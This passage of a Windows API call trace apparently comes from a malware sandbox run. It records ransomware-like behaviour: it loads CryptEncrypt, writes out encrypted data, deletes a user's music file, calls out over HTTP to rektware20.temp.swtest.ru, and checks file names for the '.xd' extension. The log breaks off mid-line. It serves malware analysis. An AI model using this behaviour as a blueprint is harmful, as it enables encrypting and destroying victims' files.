lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.027] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.027] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.027] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.027] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.028] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xcc61, dwBufLen=0xcc70 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xcc70) returned 1 [0064.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.028] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.028] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.028] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.028] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.028] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.028] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.028] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.029] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.029] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.029] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.029] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.029] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.034] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.034] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.034] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.034] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xcc70, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xcc70, lpOverlapped=0x0) returned 1 [0064.036] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.036] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.036] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.036] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.036] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.037] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.038] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621390, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.038] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.038] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0064.038] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.038] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.038] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.038] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.038] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.038] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.039] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.039] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.039] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.039] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.039] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.039] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.039] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.039] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.039] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.039] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.039] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.039] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.039] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.039] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.039] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.039] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.039] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.039] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.040] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.040] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.040] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.040] CryptReleaseContext (hProv=0x17ab550, dwFlags=0x0) returned 1 [0064.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.040] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.040] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.040] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.040] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.040] CloseHandle (hObject=0x3bc) returned 1 [0064.042] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.043] CloseHandle (hObject=0x2ac) returned 1 [0064.056] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.056] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", lpFilePart=0x0) returned 0x4b [0064.057] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\4c 4goekj7oqcfquqcj.mp3")) returned 0x20 [0064.057] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0064.057] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\4c 4goekj7oqcfquqcj.mp3")) returned 1 [0064.070] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.071] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0064.071] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.071] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.071] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.071] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.071] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0064.071] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0064.071] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.071] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.071] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.071] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.071] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.071] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0064.072] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.072] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.072] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.072] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.072] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.072] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.073] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.073] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.073] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.073] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.073] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.073] CloseHandle (hObject=0x0) returned 0 [0064.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\5RbCicUjcOq\\7CihI-.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 